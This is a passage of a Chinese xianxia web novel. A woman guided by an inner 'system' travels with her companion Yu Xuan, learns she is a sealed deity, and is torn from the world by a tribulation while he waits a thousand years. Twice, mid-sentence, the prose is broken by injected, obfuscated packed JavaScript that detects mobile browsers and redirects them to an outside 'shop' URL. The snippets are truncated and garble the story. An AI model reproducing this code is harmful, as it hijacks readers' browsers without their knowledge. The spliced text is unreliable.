心里却有什么东西,暖暖的。 有一回,我们走到东海边上。 站在海边,看着一望无际的水,连着天,看不到头。浪一波一波涌上来,打在礁石上,溅起白花花的水沫。海风咸咸的,吹在脸上,粘粘的。 我从来没见过海。 站在那儿,看了很久。 于玄站在我旁边,也不说话,就那么陪着。 过了很久,我忽然问:“于玄,你说这海,有没有尽头?” 他说:“有。” “你见过吗?” “见过。”他说,“海的另一边,是另一个大陆。我年轻的时候去过。” 我点点头。 他又说:“你想去看吗?” 我想了想,摇摇头。 “为什么?” “太远了。”我说,“走到那儿,得多久?一年?两年?路上的风景就看不到了。” 他愣了一下,然后笑了。 “沈当归,”他说,“你还是这样。” 我也笑了。 海风吹过来,咸咸的,凉凉的。远处有几只海鸟在飞,叫得嘎嘎的,难听得很。 我忽然想起一个问题。 “于玄,”我转过头看他,“你跟我走了这么久,不觉得慢吗?” 他看着我,日光底下,他的眼睛被海风吹得有些眯起来。 “什么慢?” “你是渡劫期的真人。”我说,“飞起来,一眨眼的功夫就能到天边。跟着我一步一步走,不觉得慢吗?” 他想了想,然后伸出手,握住了我的手。 他的手还是凉凉的,但握着很紧。 “沈当归,”他说,“我走了那么多年,飞了那么远,见过那么多地方。可没有一个地方,比得上跟你一起走过的路。” 我看着他的眼睛。 那里面有光,有海,有我的倒影。 我没说话。 只是握紧了他的手。 那天晚上,我们住在海边的一个小渔村。 渔村的房子矮矮的,用石头垒的,屋顶铺着茅草。我们租了一间,就在海边,推开窗就能看见月亮照在海面上,波光粼粼的,像铺了一层碎银。 我坐在窗前,看着那片海。 于玄坐在我旁边,也看着。 月光从窗户照进来,落在我们身上,把我们的影子投在身后的墙上,两个影子,挨得很近。 我忽然开口:“于玄。” “嗯?” “你说,我们还能走多久?” 他愣了一下,转过头看我。 “什么?” “就是……”我想了想,“我虽然结丹了,可跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357916|199708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你比,还是差太远。你还能活一万年,我最多也就几百年。几百年后,我老了,你怎么办?” 他没说话。 月光底下,他的眼睛暗了暗。 我又说:“那时候你再走?再等下一个几百年?还是一个人,继续走下去?” 他沉默了很久。 久到月亮往西边挪了一截,久到海风变得凉了,久到我以为他不会回答了。 然后他开口了。 “沈当归。”他说。 “嗯?” “你有没有想过,”他看着我,眼睛里有什么东西在闪,“你不是普通的修仙者?” 我愣了一下。 “什么意思?” 他想了想,像是在组织语言。 “你筑基的时候,我就觉得奇怪。”他说,“一般人筑基,要经历洗经伐髓,那过程很痛苦。可你昏睡了三天,醒过来就跟没事人一样。” 我听着,没说话。 “结丹也是。”他说,“太快了。快得不正常。” 我问:“那是什么?” 他摇摇头:“我不知道。但你身上,有种很特别的气息。” 我愣住了。 特别的气息? 我忽然想起那个系统。 那个从我十五年前就开始跟着我的东西。那个什么都知道,什么都懂,什么都能查的东西。 我一直在想,它是什么?从哪里来?为什么跟着我? 现在于玄说,我身上有特别的气息。 【叮——检测到宿主疑惑,是否开启【身份查询】功能?】 我愣了一下。 身份查询? 【系统检测到宿主本源觉醒度已达临界值,可开启身份查询。是否开启?】 我犹豫了一下。 然后我在心里说:“开启。” 沉默。 很长的沉默。 久到我以为系统出问题了。 然后它开口了。 【宿主身份:神格拥有者,本源等级:至高。】 我愣住了。 【宿主原本为高阶位面神祇,因游历小世界时察觉自身存在可能影响该世界原有轨迹,故主动封印记忆与能力,以凡人身份体验生活。】 【系统为宿主随身携带的本源辅助工具,目的为保障宿主在封印期间的基本安全。】 我听着,脑子里一片空白。 神? 我? 于玄在旁边看着我,见我发呆,问:“怎么了?” 我抬起头,看着他。 月光底下,他就那么看着我,眼睛里有关切,有疑惑,还有一点点的担心。 我张了张嘴,想说什么,又不知道从何说起。 最后我问:“于玄,你相信这世上有神吗?” 他愣了一下。 “神?” “嗯。”我说,“就是那种,高高在上,无所不能,掌控一切的神。” 他想了想,说:“修仙到极致,或许就是神吧。怎么突然问这个?” 我没回答。 只是看着他的眼睛。 那双眼睛,从十五年前到现在,一直没变过。黑黑的,亮亮的,里面有光,有我的倒影。 我忽然有点想笑。 堂堂一个神,封印了记忆和能力,跑到这个小世界里当凡人,开药膳铺,捡了个修仙的少年,然后一过就是这么多年。 结果呢? 还是遇上了。 还是放不下。 【叮——检测到宿主本源觉醒度提升。目前觉醒度:15%。】 【建议宿主尽快返回本源位面,避免对小世界造成不可逆影响。】 我愣了一下。 回去? 【宿主作为高阶神祇,长期停留低阶位面可能引发空间不稳。建议尽快返回。】 我看着于玄。 他正看着我,眼睛里满是不解。 “沈当归?”他叫我,“你怎么了?” 我回过神来。 “没事。”我说,“就是想起一些事。” 他没追问,只是点点头,继续看着窗外的大海。 月光底下,他的侧脸轮廓分明。那眉眼,那鼻梁,那微微抿着的嘴唇,跟十五年前一模一样。 我看着他,忽然问:“于玄,如果有一天,我不得不走,你会怎么办?” 他转过头看我。 月光底下,他的眼睛里有疑惑,有担忧,还有一点点的惊慌。 “走?去哪儿?” 我说:“很远的地方。回不来的那种。” 他看着我,看了很久。 久到我以为他不会回答了。 然后他伸出手,握住了我的手。 他的手很凉,但握得很紧。 “那我就跟着你去。”他说,“多远都跟着。” 我愣住了。 “你是渡劫期的真人,”我说,“马上就能飞升了。跟着我,值得吗?” 他看着我,月光底下,他的眼睛亮亮的。 “沈当归,”他说,“我等了你十五年,找了你两次,好不容易才回来。你问我值不值得?” 我没说话。 他继续说:“你说的那些,什么境界,什么飞升,什么一万年。我都不在乎。我在乎的,只有一件事。” 他顿了顿,看着我的眼睛。 “你在哪儿,我就在哪儿。” 月光底下,我们就那么互相看着。 海风吹过来,带着咸咸的腥味。月亮挂在天上,又大又圆,把整个海面都照亮了。 我忽然笑了。 “于玄,”我说,“你知不知道,你这话,说给了一个什么人?” 他愣了一下:“什么人?” 我摇摇头,没回答。 只是在心里,对系统说了一句话。 【暂时不回去。再待一阵子。】 系统沉默了一会儿。 【叮——收到。宿主可随时改变主意。】 我看着于玄,他也看着我。 月光底下,我们两个人的影子,在墙上挨得很近很近。 我握紧了他的手。 9. 第 9 章 《我从主角的世界路过》卷一:药膳铺的养花人 第九章当归 那晚之后,我又留了很久。 多久呢?我自己也记不清了。日子像流水一样,不知不觉就过去了。春天看花,夏天听雨,秋天赏叶,冬天观雪。一年又一年,周而复始。 我和于玄一起走了很多地方。 去过北境的雪原,他说的那个能冻死人的地方。我们去的时候正好是夏天,没有雪,只有漫山遍野的野花,紫的黄的白的,铺成一片。他站在花丛里,愣了好一会儿,说原来夏天是这样的。 我问他在雪原上走了多久。他说记不清了,只记得冷,记得饿,记得想喝我的汤。 我们去了南疆的密林,那里的树比北境的山还高,遮天蔽日的,走在里头分不清白天黑夜。有一种果子,红彤彤的,甜得很,他摘了一捧给我,自己一个没留。我说你也吃啊,他说看你吃就够了。 去了东海的小岛,就是那年看见的那片海的另一边。岛上的人说话口音很重,我听不太懂,他就一句一句翻译给我听。岛上有个老婆婆,活了一百多岁,牙齿都掉光了,还每天去海边捡贝壳。我问她为什么,她说贝壳好看,看着高兴。于玄在旁边听着,忽然转过头看我,眼睛亮亮的,也不知道在想什么。 去了西域的沙漠,那里的沙子是金黄色的,踩上去软软的,走一步陷一步。白天热得能烤熟鸡蛋,晚上冷得要穿棉袄。我们坐在沙丘上看星星,那里的星星比别处都亮,密密麻麻的,像撒了一把碎钻石。他靠在我肩膀上,忽然说,沈当归,我好像从来没这么高兴过。 我说,那你以前不高兴吗? 他说,以前也高兴,修炼突破了高兴,打赢了高兴,被人认可了高兴。可那些高兴,跟现在不一样。 怎么不一样? 他想了想,说,以前的高兴,是一阵风,吹过去就没了。现在的高兴,是一直在心里的,暖暖的,散不掉。 我听着,没说话。 只是把他的脑袋往肩膀上按了按。 就这么过了多少年? 我不知道。 我的修为一直在涨。结丹之后是元婴,元婴之后是化神,化神之后是渡劫。每一个阶段,他都陪着我,教我,看着我。不急不慢的,就像他说的,这样挺好。 可有一天,系统忽然响了。 【叮——警告!检测到宿主实力已超越小世界承载上限。世界排斥力正在增强。】 我愣了一下。 【当前排斥等级:3级。预计三个月后升至5级,届时将引发天谴。】 我问:“天谴是什么?” 【小世界为维持自身稳定,会自动排斥超出承载上限的外来者。天谴即为世界意志发起的清除行为,轻则驱逐,重则抹杀。】 我沉默了。 【建议宿主:尽快脱离本世界,前往更高阶位面。】 那天晚上,我没有告诉于玄。 只是坐在院子里,看着那棵老槐树,看了很久。 三个月。 我以为还有时间。 可世界排斥的增强速度,比系统预计的快得多。 一个月后,排斥等级升到了4级。 我开始感觉到不适。走在路上,总觉得有什么东西在盯着我。天空偶尔会闪过一道奇怪的雷,不劈下来,就悬在云层里,一闪一闪的,像在警告。 两个月后,排斥等级升到了4.5级。 那天我们去后山采药,走到半山腰,忽然一道雷劈下来,就在我三步远的地方。地上被劈出一个焦黑的坑,冒着烟。于玄脸色都变了,拉着我就往山下跑。 “怎么回事?”他问。 我没回答。 只是握紧了他的手。 那天晚上,我终于告诉了他。 月亮很亮,照得院子里亮堂堂的。老槐树的叶子已经开始黄了,风一吹,哗啦啦地往下落。 “于玄。”我开口。 他转过头看我。 “我得走了。” 他愣住了。 月光底下,他的眼睛里有疑惑,有不解,还有一点点的惊慌。 “走?去哪儿?” 我看着他的眼睛,慢慢把系统说的话,一句一句告诉他。 世界排斥。 天谴。 必须离开。 他听着,脸色一点一点变白。 等他听完,沉默了很久。 久到我以为他不会开口了。 然后他说:“我跟你走。” 我摇摇头。 “不行。” “为什么?” “你的实力还不够。”我说,“这个世界不会排斥你。可你跟着我,会被卷进天谴里。” 他张了张嘴,想说什么。 我打断他:“于玄,你听我说。” 他闭上嘴,看着我。 我看着他的眼睛,一字一句说:“你先留在这里。等我找到办法,再回来接你。” 他的眼眶红了。 “要是找不到呢?” 我没说话。 他看着我,眼睛里有什么东西在闪。 “沈当归,”他说,声音哑得厉害,“你骗我。” 我摇摇头。 “我没骗你。”我说,“我会回来的。一定。” 他低下头。 我看见他的手在抖。 过了很久很久,他才开口。 “多久?” 我愣了一下。 “你让我等多久?”他抬起头,看着我,“一年?十年?一百年?” 我说不出话。 他看着我,月光底下,他的眼睛红红的,湿湿的,亮亮的。 “沈当归,”他说,“你等了我十五年,我也盼了你十五年。” 我愣住了,他的眼泪掉下来。 “现在你让我等,我会等的。”他说,“一年也好,十年也好,一百年也好。只要你让我等,我就等。” 我看着他的眼睛。 那里面有太多太多的东西。有害怕,有不舍,有期待,有信任。 我伸出手,抱住了他。 抱得很紧很紧。 “我会回来的。”我在他耳边说,“一定。” 他没有说话。 只是也伸出手,抱住了我。 月光底下,我们就那么抱着,抱了很久很久。 三天后,排斥等级升到了5级。 那天傍晚,天空开始变色。 原本橘红色的晚霞,忽然变成了暗紫色,一层一层堆在天边,像淤青。风停了,老槐树的叶子一动不动,静得吓人。 系统响了。 【叮——天谴即将降临。倒计时:一个时辰。】 我站在院子里,最后看了一眼这间小院。 老槐树还在,石桌石凳还在,井台还在。灶房的烟囱里,还飘着最后一缕炊烟,是今晚炖的雪梨汤,还没喝完。 于玄站在我旁边。 他没说话,只是紧紧握着我的手。 我转过头,看着他。 “于玄。” “嗯?” “等我。” 他点点头。 月光底下,他的眼睛亮亮的,里面有泪光,可他没有让眼泪掉下来。 “我等你。”他说。 天空忽然裂开了。 一道紫色的雷,从天而降。 不是劈下来,是直接撕裂了天空,从裂缝里涌出来的。那道光太亮,亮得我睁不开眼。那声音太响,响得我听不见任何东西。 我只来得及看见于玄的脸。 他在喊什么,可我听不见。 他在伸手抓我,可抓了个空。 然后那道紫光把我吞没了。 疼。 很疼。 那种疼不是皮肉的疼,是从灵魂深处涌出来的疼。像有什么东西在撕裂我,在剥离我,在从我身体里拿走什么。 我挣扎着睁开眼。 四周全是紫色的光,什么都看不见。只有系统断断续续的声音,在耳边响。 【叮——遭受世界意志攻击……记忆模块受损……】 【紧急保护程序启动……】 【叮——检测到关键记忆正在丢失……】 我想抓住什么。 可什么都抓不住。 眼前闪过一些画面。 一个小镇。一间铺子。一棵老槐树。 还有一个人。 一个瘦瘦高高的少年,站在院子里,看着我笑。 他是谁? 画面越来越模糊。 那个少年的脸,越来越看不清。 最后只剩下一双眼睛。 黑黑的,亮亮的,里面有光。 那是谁的眼睛? 我想不起来了。 【叮——记忆保护完成。关键记忆已封存。】 【叮——世界脱离完成。】 再睁开眼的时候,我站在一片虚空里。 没有天,没有地,只有无尽的星光,在远处闪烁。 我愣了好一会儿。 这是哪儿? 我是谁? 【叮——检测到宿主苏醒。】 谁在说话? 【我是您的随身系统。您刚刚从一个修仙小世界脱离。】 修仙小世界?我去那儿做什么? 【您作为高阶神祇,游历小世界是本源设定。每个世界都是一段旅程。】 我听着,点点头。 好像有点道理。 【叮——检测到宿主记忆模块受损,部分记忆已封存。是否尝试恢复?】 我想了想。 “封存的记忆,重要吗?” 【系统评估:重要。但恢复过程可能伴随剧烈痛苦。】 我又想了想。 “那算了。”我说,“既然封存了,就说明暂时不需要。” 【叮——收到。宿主可选择:】 【1. 返回本源位面】 【2. 前往下一个世界继续游历】 我愣了一下。 还能选? 那就选2吧。 反正闲着也是闲着。 【叮——收到。下一世界正在随机生成……】 我站在虚空里,等着。 不知道为什么,心里忽然有点空落落的。 好像忘了什么很重要的事。 忘了什么呢? 我下意识地摸了摸胸口。 那里空空的,什么都没有。 可总觉得,应该有什么东西在的。 【叮——生成完成。下一世界:现代都市背景,地点:江城,宿主身份:即将揭晓。】 我收回思绪。 算了,不想了。 反正忘了的,大概也不重要。 我往那片星光里走去。 很远很远的地方,那个修仙小世界里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357917|199708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个小镇上,一间小院中。 一个人站在老槐树下,仰着头,看着天。 他已经站了很久很久。 从那天晚上开始,一直站到现在。 三天了。 他没有动过,没有吃过东西,没有喝过水。就那么站着,仰着头,看着那片天空。 天空早就恢复了正常。蓝蓝的,飘着几朵白云,偶尔有鸟飞过。 可他还是在看。 好像在等什么。 等那道紫光再出现。 等那个人再回来。 风吹过来,老槐树的叶子哗哗地响。几片枯叶落下来,落在他肩膀上,落在他头发上,他都不动。 他只是看着天。 看着看着,眼眶就红了。 “沈当归。”他开口,声音哑得不成样子。 “你说过会回来的。” 没有人回答他。 只有风,还在吹。 他把手伸进怀里,摸出一块玉牌。 青色的,上面刻着两个字。 沈当归。 刻着他名字的玉牌一直被沈当归带着,而刻着沈当归名字的玉牌也被他一直带着。 现在他看着那块玉牌,看了很久很久。 然后他把玉牌贴在心口,继续看着天。 等着。 一直等着。 一年。 十年。 一百年。 于玄没有离开过那个小院。 他守着那间药膳铺,守着那棵老槐树,守着那些沈当归用过的东西。灶房里的砂锅还在,他有时候会用它炖汤,炖雪梨汤。炖好了,盛一碗,放在石桌上,对面那个位置。 然后他就坐在对面,看着那碗汤慢慢变凉。 “沈当归,”他说,“汤凉了。” 没有人回答他。 他就自己把那碗汤喝了。 喝完了,再炖一碗。 日复一日,年复一年。 他的修为在涨。 渡劫之后,他本可以飞升。可他没去。 他怕沈当归回来的时候,找不着人。 所以他一直压着修为,一直留在这个世界。 一留,就是五百年。 五百年后,他成了这个世界的第一人。 所有人都知道,这个小镇上住着一个大能。没有人敢来打扰他,没有人敢踏入那个小院半步。他们就那么远远地看着,看着那个身影,日复一日地站在老槐树下,仰着头,看着天。 有人问他,前辈,您在等什么? 他说,等人。 问他等谁。 他说,等一个叫沈当归的人。 问他等多久了。 他想了想,笑了。 “记不清了。”他说,“反正他让我等的。” 一千年后,于玄终于飞升了。 不是他想飞升,是这个世界已经容不下他了。他的实力太强,强到世界开始排斥他,就像当年排斥沈当归一样。 那天傍晚,天空开始变色。 紫红色的云,一层一层堆在天边。风停了,老槐树的叶子一动不动。 于玄站在院子里,抬头看着天。 他知道,他该走了。 可他舍不得。 舍不得这间小院,舍不得这棵老槐树,舍不得那张石桌,舍不得那个灶房。 舍不得那个等了一千年的人。 他从怀里摸出那块玉牌。 青色的,上面刻着“沈当归”三个字。一千年了,玉牌被他摸得光滑如玉,边角都磨圆了。可那三个字,还是清清楚楚的。 他把玉牌贴在心口。 “沈当归,”他说,声音很轻,“我等了你一千年。” “你说过会回来的。” “可你一直没回来。” 他的眼眶红了。 “我不怪你。”他说,“我知道,你一定是出事了。” “可我还是等。” “等了一千年。” “现在我要走了。”他说,“去更高的地方。也许在那里,能找到你。” 他抬起头,看着那片变色的天空。 “沈当归,”他说,“不管你在哪儿,我都会找到你的。” “一千年找不到,就找一万年。” “一万年找不到,就找十万年。” “反正我等得起。” 他最后看了一眼这间小院。 老槐树还在,石桌石凳还在,井台还在。灶房的烟囱里,再也没有炊烟飘出来了。 他轻轻笑了一下。 然后他化作一道流光,冲向天空。 【叮——检测到小世界异常波动。】 【原世界主角于玄,已突破世界限制,飞升离去。】 【飞升方向:未知。】 虚空之中。 我正往下一个世界走去。 忽然,心里莫名动了一下。 我停下脚步,回过头。 身后是茫茫的星光,什么都没有。 可不知道为什么,我总觉得,有什么人在看着我。 我站了一会儿,摇了摇头。 大概是错觉吧。 我继续往前走。 身后,很远很远的地方,一道流光正穿越无数个世界,拼命地往这边赶。 那道流光里,有一个人,手里握着一块玉牌。 玉牌上刻着三个字。 沈当归。